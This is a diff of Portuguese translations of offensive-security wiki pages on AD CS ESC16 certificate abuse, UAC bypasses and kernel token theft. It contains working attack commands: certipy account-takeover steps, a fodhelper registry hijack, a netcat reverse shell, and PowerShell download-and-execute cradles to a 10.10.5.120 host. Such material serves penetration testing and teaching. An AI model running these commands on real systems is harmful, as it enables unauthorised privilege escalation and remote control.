+Para identificar se o ambiente Active Directory Certificate Services (AD CS) é vulnerável ao **ESC16**
 ```bash
 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
 ```
-**Passo 1: Ler o UPN inicial da conta da vítima (Opcional - para restauração).
+**Passo 1: Ler UPN inicial da conta da vítima (Opcional - para restauração).
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -853,14 +853,14 @@ certipy account \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Etapa 3: (Se necessário) Obter credenciais da conta "vítima" (p.ex., via Shadow Credentials).**
+**Passo 3: (Se necessário) Obter credenciais para a conta "vítima" (por exemplo, via Shadow Credentials).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto
 ```
-**Passo 4: Solicite um certificado como o usuário "victim" a partir de _qualquer template de autenticação de cliente adequado_ (por exemplo, "User") na CA vulnerável ao ESC16.** Como a CA é vulnerável ao ESC16, ela irá automaticamente omitir a extensão de segurança SID do certificado emitido, independentemente das configurações específicas do template para essa extensão. Defina a variável de ambiente do cache de credenciais do Kerberos (comando shell):
+**Etapa 4: Solicite um certificado como o usuário "victim" a partir de _qualquer template de autenticação de cliente adequado_ (por exemplo, "User") na CA vulnerável ao ESC16.** Como a CA é vulnerável ao ESC16, ela omitirá automaticamente a extensão de segurança SID do certificado emitido, independentemente das configurações específicas do template para essa extensão. Defina a variável de ambiente do cache de credenciais Kerberos (comando shell):
 ```bash
 export KRB5CCNAME=victim.ccache
 ```
@@ -871,31 +871,31 @@ certipy req \
 -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
 -template 'User'
 ```
-**Etapa 5: Reverter o UPN da conta "vítima".**
+**Passo 5: Reverter o UPN da conta "vítima".**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'victim@corp.local' \
 -user 'victim' update
 ```
-**Etapa 6: Autenticar-se como o administrador alvo.**
+**Passo 6: Autenticar-se como o administrador de destino.**
 ```bash
 certipy auth \
 -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
 -username 'administrator' -domain 'corp.local'
 ```
-## Comprometendo Florestas com Certificados Explicado em Voz Passiva
+## Compromising Forests with Certificates Explained in Passive Voice
 
-### Quebra de Confianças entre Florestas por CAs Comprometidas
+### Breaking of Forest Trusts by Compromised CAs
 
-A configuração para **cross-forest enrollment** é relativamente simples. O **root CA certificate** da floresta de recursos é **publicado nas florestas de contas** pelos administradores, e os certificados de **enterprise CA** da floresta de recursos são **adicionados aos `NTAuthCertificates` e AIA containers em cada floresta de contas**. Para esclarecer, esse arranjo concede à **CA na floresta de recursos controle completo** sobre todas as outras florestas para as quais ela gerencia o PKI. Caso essa CA seja **comprometida por atacantes**, certificados para todos os usuários tanto da floresta de recursos quanto das florestas de contas poderiam ser **forjados por eles**, quebrando assim a fronteira de segurança da floresta.
+A configuração para **cross-forest enrollment** é relativamente direta. O **root CA certificate** da resource forest é **published to the account forests** pelos administradores, e os certificados do **enterprise CA** da resource forest são **added to the `NTAuthCertificates` and AIA containers in each account forest**. Para esclarecer, esse arranjo concede ao **CA in the resource forest complete control** sobre todas as outras florestas para as quais ele gerencia PKI. Caso esse CA seja **compromised by attackers**, certificados para todos os usuários tanto da resource quanto das account forests poderiam ser **forged by them**, rompendo assim a fronteira de segurança da floresta.
 
-### Privilégios de Inscrição Concedidos a Principais Estrangeiros
+### Enrollment Privileges Granted to Foreign Principals
 
-Em ambientes com múltiplas florestas, é preciso ter cautela em relação a Enterprise CAs que **publicam certificate templates** que permitem que **Authenticated Users or foreign principals** (usuários/grupos externos à floresta à qual a Enterprise CA pertence) tenham **direitos de enrollment e edição**.  
-Ao autenticar-se através de um trust, o **Authenticated Users SID** é adicionado ao token do usuário pelo AD. Assim, se um domínio possui uma Enterprise CA com um template que **allows Authenticated Users enrollment rights**, um template poderia potencialmente ser **enrolled in by a user from a different forest**. Da mesma forma, se **enrollment rights are explicitly granted to a foreign principal by a template**, uma relação de controle de acesso entre florestas é criada, permitindo que um principal de uma floresta **enroll in a template from another forest**.
+Em ambientes multi-floresta, é necessário ter cautela com Enterprise CAs que **publish certificate templates** que permitem que **Authenticated Users or foreign principals** (usuários/grupos externos à floresta à qual a Enterprise CA pertence) tenham **enrollment and edit rights**.\
+Ao autenticar-se através de uma trust, o **Authenticated Users SID** é adicionado ao token do usuário pelo AD. Assim, se um domínio possuir uma Enterprise CA com um template que **allows Authenticated Users enrollment rights**, um template poderia potencialmente ser **enrolled in by a user from a different forest**. Da mesma forma, se **enrollment rights are explicitly granted to a foreign principal by a template**, uma **cross-forest access-control relationship is thereby created**, permitindo que um principal de uma floresta **enroll in a template from another forest**.
 
-Ambos os cenários levam a um aumento da superfície de ataque de uma floresta para outra. As configurações do certificate template podem ser exploradas por um atacante para obter privilégios adicionais em um domínio estrangeiro.
+Ambos os cenários levam a um **increase in the attack surface** de uma floresta para outra. As configurações do certificate template poderiam ser exploradas por um atacante para obter privilégios adicionais em um domínio estrangeiro.
 
 
 ## Referências

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -4,7 +4,7 @@
 
 ## UAC
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) é uma funcionalidade que habilita um **prompt de consentimento para atividades elevadas**. Aplicações têm diferentes níveis de `integrity`, e um programa com um **nível high** pode executar tarefas que **podem potencialmente comprometer o sistema**. Quando o UAC está ativado, aplicações e tarefas sempre **são executadas no contexto de segurança de uma conta não-administradora** a menos que um administrador autorize explicitamente que essas aplicações/tarefas tenham acesso de nível administrador ao sistema para serem executadas. É uma funcionalidade de conveniência que protege administradores de alterações não intencionais, mas não é considerada uma fronteira de segurança.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) é um recurso que habilita uma **solicitação de consentimento para atividades elevadas**. Aplicações têm diferentes níveis de `integrity`, e um programa com um **nível alto** pode executar tarefas que **podem potencialmente comprometer o sistema**. Quando o UAC está habilitado, aplicações e tarefas sempre **executam sob o contexto de segurança de uma conta não-administradora** a menos que um administrador autorize explicitamente que essas aplicações/tarefas tenham acesso de nível administrador ao sistema para serem executadas. É um recurso de conveniência que protege administradores de alterações não intencionais, mas não é considerado uma fronteira de segurança.
 
 For more info about integrity levels:
 
@@ -13,9 +13,9 @@ For more info about integrity levels:
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: um token de usuário padrão, para realizar ações regulares em nível normal, e outro com os privilégios de admin.
+Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: um token de usuário padrão, para realizar ações regulares em nível normal, e outro com os privilégios de administrador.
 
-This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute em profundidade como o UAC funciona e inclui o processo de logon, a experiência do usuário e a arquitetura do UAC. Administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização a nível local (usando secpol.msc), ou configuradas e distribuídas via Group Policy Objects (GPO) em um ambiente de Active Directory domain. As várias configurações são discutidas em detalhe [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Existem 10 Group Policy settings que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais:
+Esta [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute como o UAC funciona em grande detalhe e inclui o processo de logon, experiência do usuário e arquitetura do UAC. Administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização no nível local (usando secpol.msc), ou configurado e distribuído via Group Policy Objects (GPO) em um ambiente de domínio Active Directory. As várias configurações são discutidas em detalhe [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Existem 10 configurações de Group Policy que podem ser definidas para o UAC. A tabela a seguir fornece mais detalhes:
 
 | Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Default Setting                                              |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
@@ -30,21 +30,21 @@ This [page](https://docs.microsoft.com/en-us/windows/security/identity-protectio
 | [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Enabled                                                      |
 | [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Enabled                                                      |
 
-### UAC Bypass Theory
+### Teoria de Bypass do UAC
 
-Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
+Alguns programas são **autoelevated automatically** se o **usuário pertence** ao **grupo de administradores**. Esses binários possuem dentro de seus _**Manifests**_ a opção _**autoElevate**_ com valor _**True**_. O binário também precisa ser **assinado pela Microsoft**.
 
-Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
+Muitos processos auto-elevados expõem **funcionalidade via COM objects ou RPC servers**, que podem ser invocados a partir de processos rodando com integridade média (privilégios de usuário regular). Note que COM (Component Object Model) e RPC (Remote Procedure Call) são métodos que programas do Windows usam para se comunicar e executar funções entre processos diferentes. Por exemplo, o **`IFileOperation COM object`** é projetado para lidar com operações de arquivo (copiar, deletar, mover) e pode automaticamente elevar privilégios sem um prompt.
 
-Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable.
+Note que algumas verificações podem ser realizadas, como checar se o processo foi executado a partir do **diretório System32**, o que pode ser contornado por exemplo **injetando em explorer.exe** ou outro executável localizado em System32.
 
-Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user.
+Outra forma de contornar essas checagens é **modificar o PEB**. Todo processo no Windows possui um Process Environment Block (PEB), que inclui dados importantes sobre o processo, como seu caminho executável. Ao modificar o PEB, atacantes podem falsificar (spoof) a localização do seu próprio processo malicioso, fazendo com que pareça estar rodando a partir de um diretório confiável (como system32). Essa informação falsificada engana o COM object para auto-elevar privilégios sem solicitar ao usuário.
 
-Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**.
+Então, para **bypassar** o **UAC** (elevar do nível de integridade **médio** para **alto**), alguns atacantes usam esse tipo de binários para **executar código arbitrário**, porque ele será executado por um processo de nível de integridade **alto**.
 
-You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m <file>`) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
+Você pode **verificar** o _**Manifest**_ de um binário usando a ferramenta _**sigcheck.exe**_ da Sysinternals. (`sigcheck.exe -m <file>`) E você pode **ver** o **nível de integridade** dos processos usando o _Process Explorer_ ou _Process Monitor_ (da Sysinternals).
 
-### Check UAC
+### Verificar UAC
 
 Para confirmar se o UAC está habilitado faça:
 ```
@@ -53,36 +53,36 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-Se for **`1`**, então o UAC está **ativado**, se for **`0`** ou se **não existir**, então o UAC está **inativo**.
+Se for **`1`** então o UAC está **ativado**, se for **`0`** ou não existir, então o UAC está **inativo**.
 
-Em seguida, verifique **qual nível** está configurado:
+Depois, verifique **qual nível** está configurado:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- If **`0`** then, UAC won't prompt (like **disabled**)  
-- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)  
-- If **`2`** (**Sempre notificar-me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)  
-- If **`3`** like `1` but not necessary on Secure Desktop  
-- If **`4`** like `2` but not necessary on Secure Desktop  
-- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
+- Se **`0`**, então o UAC não exibirá prompt (como **desativado**)
+- Se **`1`**, o administrador é **solicitado por nome de usuário e senha** para executar o binário com privilégios elevados (no Secure Desktop)
+- Se **`2`** (**Sempre notificar-me**) o UAC sempre pedirá confirmação ao administrador quando ele tentar executar algo com privilégios elevados (no Secure Desktop)
+- Se **`3`** igual a `1` mas não é necessário no Secure Desktop
+- Se **`4`** igual a `2` mas não é necessário no Secure Desktop
+- Se **`5`** (**padrão**) ele solicitará ao administrador para confirmar a execução de binários não Windows com privilégios elevados
 
-Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
-If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
+Então, você deve verificar o valor de **`LocalAccountTokenFilterPolicy`**\
+Se o valor for **`0`**, então somente o usuário **RID 500** (**built-in Administrator**) é capaz de executar **tarefas administrativas sem UAC**, e se for `1`, **todas as contas dentro do grupo "Administrators"** podem fazê-lo.
 
-And, finally take a look at the value of the key **`FilterAdministratorToken`**\
-If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
+E, finalmente, verifique o valor da chave **`FilterAdministratorToken`**\
+Se **`0`** (padrão), a conta **built-in Administrator** pode executar tarefas de administração remota e se **`1`** a conta built-in Administrator **não pode** executar tarefas de administração remota, a menos que `LocalAccountTokenFilterPolicy` esteja definido como `1`.
 
 #### Resumo
 
-- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
+- Se `EnableLUA=0` ou **não existe**, **sem UAC para ninguém**
+- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=1`**, **sem UAC para ninguém**
+- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=0`**, **sem UAC para RID 500 (Built-in Administrator)**
+- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=1`**, **UAC para todos**
 
-All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
+Todas essas informações podem ser obtidas usando o módulo **metasploit**: `post/windows/gather/win_privs`
 
 Você também pode verificar os grupos do seu usuário e obter o nível de integridade:
 ```
@@ -92,15 +92,15 @@ whoami /groups | findstr Level
 ## UAC bypass
 
 > [!TIP]
-> Observe que se você tem acesso gráfico à vítima, o bypass do UAC é simples, pois você pode simplesmente clicar em "Yes" quando o prompt do UAC aparecer
+> Observe que, se você tiver acesso gráfico à vítima, o UAC bypass é direto: você pode simplesmente clicar em "Yes" quando o prompt do UAC aparecer
 
-O UAC bypass é necessário na seguinte situação: **o UAC está ativado, seu processo está rodando em um contexto de integridade média, e seu usuário pertence ao grupo de administradores**.
+O UAC bypass é necessário na seguinte situação: **o UAC está ativado, seu processo está sendo executado em um medium integrity context, e seu usuário pertence ao administrators group**.
 
-É importante mencionar que é **muito mais difícil contornar o UAC se ele estiver no nível de segurança mais alto (Always) do que se estiver em qualquer um dos outros níveis (Default).**
+É importante mencionar que é **muito mais difícil contornar o UAC se ele estiver no nível de segurança mais alto (Always) do que em qualquer um dos outros níveis (Default).**
 
 ### UAC desativado
 
-Se o UAC já estiver desativado (`ConsentPromptBehaviorAdmin` é **`0`**) você pode **executar um reverse shell com privilégios de administrador** (nível de integridade alto) usando algo como:
+Se o UAC já estiver desativado (`ConsentPromptBehaviorAdmin` é **`0`**) você pode **executar um reverse shell com admin privileges** (high integrity level) usando algo como:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -113,10 +113,10 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 
 ### **Muito** Básico UAC "bypass" (acesso completo ao sistema de arquivos)
 
-Se você tem uma shell com um usuário que pertence ao grupo Administrators, você pode **montar o compartilhamento C$** via SMB (sistema de arquivos) local em um novo disco e terá **acesso a tudo dentro do sistema de arquivos** (até mesmo a pasta home do Administrator).
+Se você tem um shell com um usuário que está no grupo Administrators, você pode **montar o compartilhamento C$** via SMB (sistema de arquivos) local em um novo disco e terá **acesso a tudo dentro do sistema de arquivos** (até a pasta home do Administrator).
 
 > [!WARNING]
-> **Parece que esse truque não funciona mais**
+> **Parece que esse truque não está funcionando mais**
 ```bash
 net use Z: \\127.0.0.1\c$
 cd C$
@@ -138,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
 # Bypass UAC with CMSTPLUA COM interface
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 ```
-**Empire** e **Metasploit** também possuem vários módulos para **bypass** do **UAC**.
+**Empire** e **Metasploit** também têm vários módulos para **bypass** do **UAC**.
 
 ### KRBUACBypass
 
@@ -146,11 +146,10 @@ Documentação e ferramenta em [https://github.com/wh0amitz/KRBUACBypass](https:
 
 ### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME) que é uma **compilation** de vários UAC bypass exploits. Observe que você precisará **compile UACME using visual studio or msbuild**. A compilação criará vários executáveis (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), você precisará saber **qual você precisa.**
+[**UACME** ](https://github.com/hfiref0x/UACME) que é uma **compilação** de vários UAC bypass exploits. Observe que você precisará **compilar UACME usando visual studio ou msbuild**. A compilação criará vários executáveis (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), você precisará saber **qual deles você precisa.**\
+Você deve **ter cuidado** porque alguns bypasses irão **causar prompts em outros programas** que irão **alertar** o **usuário** de que algo está acontecendo.
 
-Você deve **ter cuidado** porque alguns bypasses irão **iniciar alguns outros programas** que vão **alertar** o **usuário** de que algo está acontecendo.
-
-UACME indica a **versão de build a partir da qual cada técnica começou a funcionar**. Você pode procurar por uma técnica que afete suas versões:
+UACME tem a **build version from which each technique started working**. Você pode procurar por uma técnica que afete suas versões:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -158,13 +157,13 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Além disso, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) você obtém a versão do Windows `1607` a partir dos números de build.
+Além disso, usando [esta](https://en.wikipedia.org/wiki/Windows_10_version_history) página você obtém o release do Windows `1607` a partir das versões de build.
 
 ### UAC Bypass – fodhelper.exe (Registry hijack)
 
-O binário confiável `fodhelper.exe` é auto-elevado no Windows moderno. Ao ser executado, ele consulta o caminho de registro por usuário abaixo sem validar o verbo `DelegateExecute`. Plantando um comando ali permite que um processo de Medium Integrity (o usuário está em Administrators) inicie um processo de High Integrity sem um prompt UAC.
+O binário confiável `fodhelper.exe` é elevado automaticamente em versões modernas do Windows. Quando lançado, ele consulta o caminho do Registro por usuário abaixo sem validar o verbo `DelegateExecute`. Plantar um comando ali permite que um processo Medium Integrity (usuário é membro do grupo Administrators) gere um processo High Integrity sem um UAC prompt.
 
-Caminho de registro consultado por fodhelper:
+Caminho do Registro consultado pelo fodhelper:
 ```
 HKCU\Software\Classes\ms-settings\Shell\Open\command
 ```
@@ -188,44 +187,44 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
 Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
 ```
 Notas:
-- Funciona quando o usuário atual é membro de Administrators e o nível do UAC é padrão/leniente (não Always Notify com restrições adicionais).
-- Use o caminho `sysnative` para iniciar um PowerShell 64-bit a partir de um processo 32-bit no Windows 64-bit.
-- Payload pode ser qualquer comando (PowerShell, cmd, ou um caminho EXE). Evite UIs que solicitem interação para manter sigilo.
+- Funciona quando o usuário atual é membro dos Administrators e o nível do UAC está em padrão/leniente (não em Always Notify com restrições extras).
+- Use o caminho `sysnative` para iniciar um PowerShell 64-bit a partir de um processo 32-bit em Windows 64-bit.
+- A payload pode ser qualquer comando (PowerShell, cmd, ou um caminho de EXE). Evite UIs que exibam prompts para manter stealth.
 
 #### More UAC bypass
 
-**All** the techniques used here to bypass AUC **require** a **full interactive shell** com a vítima (um shell comum nc.exe não é suficiente).
+**Todas** as técnicas usadas aqui para contornar a AUC **exigem** um **shell interativo completo** com a vítima (um shell comum nc.exe não é suficiente).
 
-Você pode obter isso usando uma sessão **meterpreter**. Migre para um **process** que tenha o valor **Session** igual a **1**:
+Você pode conseguir isso usando uma sessão **meterpreter**. Migre para um **process** que tenha o valor **Session** igual a **1**:
 
 ![](<../../images/image (863).png>)
 
-(_explorer.exe_ should works)
+(_explorer.exe_ deve funcionar)
 
 ### UAC Bypass with GUI
 
-Se você tem acesso a uma **GUI você pode simplesmente aceitar o UAC prompt** quando ele aparecer, você realmente não precisa de um bypass. Portanto, obter acesso a uma GUI permitirá que você bypass o UAC.
+Se você tiver acesso a uma **GUI, você pode simplesmente aceitar o prompt do UAC** quando ele aparecer; você realmente não precisa de um bypass. Portanto, obter acesso a uma GUI permitirá contornar o UAC.
 
-Além disso, se você obtiver uma sessão GUI que alguém estava usando (potencialmente via RDP) existem **algumas ferramentas que estarão em execução como administrator** das quais você poderia **run** um **cmd** por exemplo **as admin** diretamente sem ser solicitado novamente pelo UAC, como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Isso pode ser um pouco mais **stealthy**.
+Além disso, se você obtiver uma sessão GUI que alguém estava usando (potencialmente via RDP), existem **algumas ferramentas que estarão rodando como administrador** das quais você poderia, por exemplo, **executar** um **cmd** **como admin** diretamente sem ser solicitado novamente pelo UAC, como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Isso pode ser um pouco mais **stealthy**.
 
 ### Noisy brute-force UAC bypass
 
-Se você não se importa em ser noisy você sempre pode **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **ask to elevate permissions until the user does accepts it**.
+Se você não se importa em ser barulhento, você sempre pode **executar algo como** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **pede para elevar permissões até que o usuário aceite**.
 
 ### Your own bypass - Basic UAC bypass methodology
 
-Se você der uma olhada no **UACME** você notará que **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
+Se você olhar o **UACME**, vai notar que **a maioria dos bypasses de UAC explora uma vulnerabilidade de Dll Hijacking** (principalmente escrevendo a dll maliciosa em _C:\Windows\System32_). [Leia isto para aprender como encontrar uma vulnerabilidade de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
-1. Encontre um binary que irá **autoelevate** (verifique que ao ser executado ele roda em um nível de integridade alto).
-2. Com procmon encontre eventos "**NAME NOT FOUND**" que podem ser vulneráveis a **DLL Hijacking**.
-3. Provavelmente você precisará **write** a DLL dentro de alguns **protected paths** (como C:\Windows\System32) onde você não tem permissões de escrita. Você pode bypass isso usando:
-1. **wusa.exe**: Windows 7,8 and 8.1. Permite extrair o conteúdo de um CAB file dentro de protected paths (porque essa ferramenta é executada em um nível de integridade alto).
+1. Encontre um binário que **autoelevate** (verifique que ao ser executado ele roda em um nível de integridade alto).
+2. Com o procmon, encontre eventos "**NAME NOT FOUND**" que possam ser vulneráveis a **DLL Hijacking**.
+3. Você provavelmente precisará **escrever** a DLL dentro de alguns caminhos protegidos (como C:\Windows\System32) onde você não tem permissões de escrita. Você pode contornar isso usando:
+1. **wusa.exe**: Windows 7,8 e 8.1. Permite extrair o conteúdo de um arquivo CAB dentro de caminhos protegidos (porque essa ferramenta é executada em um nível de integridade alto).
 2. **IFileOperation**: Windows 10.
-4. Prepare um **script** para copiar sua DLL dentro do protected path e executar o binary vulnerável e autoelevated.
+4. Prepare um **script** para copiar sua DLL para dentro do caminho protegido e executar o binário vulnerável e autoelevated.
 
 ### Another UAC bypass technique
 
-Consiste em observar se um **autoElevated binary** tenta **read** do **registry** o **name/path** de um **binary** ou **command** a ser **executed** (isso é mais interessante se o binary busca essa informação dentro do **HKCU**).
+Consiste em observar se um **autoElevated binary** tenta **ler** do **registry** o **name/path** de um **binary** ou **command** a ser **executed** (isso é mais interessante se o binário procura essa informação dentro de **HKCU**).
 
 ## Referências
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md

@@ -4,31 +4,31 @@
 
 ## Visão geral
 
-Se um driver vulnerável expõe um IOCTL que dá a um atacante primitivas arbitrárias de leitura e/ou escrita no kernel, elevar para NT AUTHORITY\SYSTEM pode frequentemente ser alcançado roubando um token de acesso do SYSTEM. A técnica copia o ponteiro Token do EPROCESS de um processo SYSTEM para o EPROCESS do processo atual.
+Se um driver vulnerável expõe um IOCTL que dá a um atacante primitivos arbitrários de leitura e/ou escrita no kernel, a elevação para NT AUTHORITY\SYSTEM costuma ser alcançada roubando um SYSTEM access token. A técnica copia o ponteiro Token do EPROCESS de um processo SYSTEM para o EPROCESS do processo atual.
 
 Por que funciona:
 - Cada processo tem uma estrutura EPROCESS que contém (entre outros campos) um Token (na verdade um EX_FAST_REF para um objeto token).
 - O processo SYSTEM (PID 4) possui um token com todos os privilégios habilitados.
-- Substituir o EPROCESS.Token do processo atual pelo ponteiro de token do SYSTEM faz com que o processo atual passe a executar como SYSTEM imediatamente.
+- Substituir o EPROCESS.Token do processo atual pelo ponteiro do token do SYSTEM faz com que o processo atual passe a rodar como SYSTEM imediatamente.
 
-> Os offsets em EPROCESS variam entre versões do Windows. Determine-os dinamicamente (símbolos) ou use constantes específicas da versão. Lembre-se também que EPROCESS.Token é um EX_FAST_REF (os 3 bits menos significativos são flags de contagem de referência).
+> Offsets em EPROCESS variam entre versões do Windows. Determine-os dinamicamente (symbols) ou use constantes específicas da versão. Lembre-se também que EPROCESS.Token é um EX_FAST_REF (os 3 bits menos significativos são flags de contagem de referência).
 
 ## Passos em alto nível
 
 1) Localize a base de ntoskrnl.exe e resolva o endereço de PsInitialSystemProcess.
-- A partir do modo usuário, use NtQuerySystemInformation(SystemModuleInformation) ou EnumDeviceDrivers para obter as bases dos drivers carregados.
-- Adicione o offset de PsInitialSystemProcess (a partir de símbolos/reversão) à base do kernel para obter seu endereço.
+- Do modo usuário, use NtQuerySystemInformation(SystemModuleInformation) ou EnumDeviceDrivers para obter as bases dos drivers carregados.
+- Some o offset de PsInitialSystemProcess (a partir de símbolos/reversing) à base do kernel para obter seu endereço.
 2) Leia o ponteiro em PsInitialSystemProcess → este é um ponteiro do kernel para o EPROCESS do SYSTEM.
-3) A partir do EPROCESS do SYSTEM, leia os offsets de UniqueProcessId e ActiveProcessLinks para percorrer a lista duplamente ligada das estruturas EPROCESS (ActiveProcessLinks.Flink/Blink) até encontrar o EPROCESS cujo UniqueProcessId é igual a GetCurrentProcessId(). Mantenha ambos:
-- EPROCESS_SYSTEM (para SYSTEM)
-- EPROCESS_SELF (para o processo atual)
+3) A partir do EPROCESS do SYSTEM, leia os offsets UniqueProcessId e ActiveProcessLinks para percorrer a lista duplamente ligada de estruturas EPROCESS (ActiveProcessLinks.Flink/Blink) até encontrar o EPROCESS cujo UniqueProcessId é igual a GetCurrentProcessId(). Mantenha ambos:
+- EPROCESS_SYSTEM (do SYSTEM)
+- EPROCESS_SELF (do processo atual)
 4) Leia o valor do token do SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
 - Mascarar os 3 bits menos significativos: Token_SYS_masked = Token_SYS & ~0xF (comumente ~0xF ou ~0x7 dependendo do build; em x64 os 3 bits menos significativos são usados — máscara 0xFFFFFFFFFFFFFFF8).
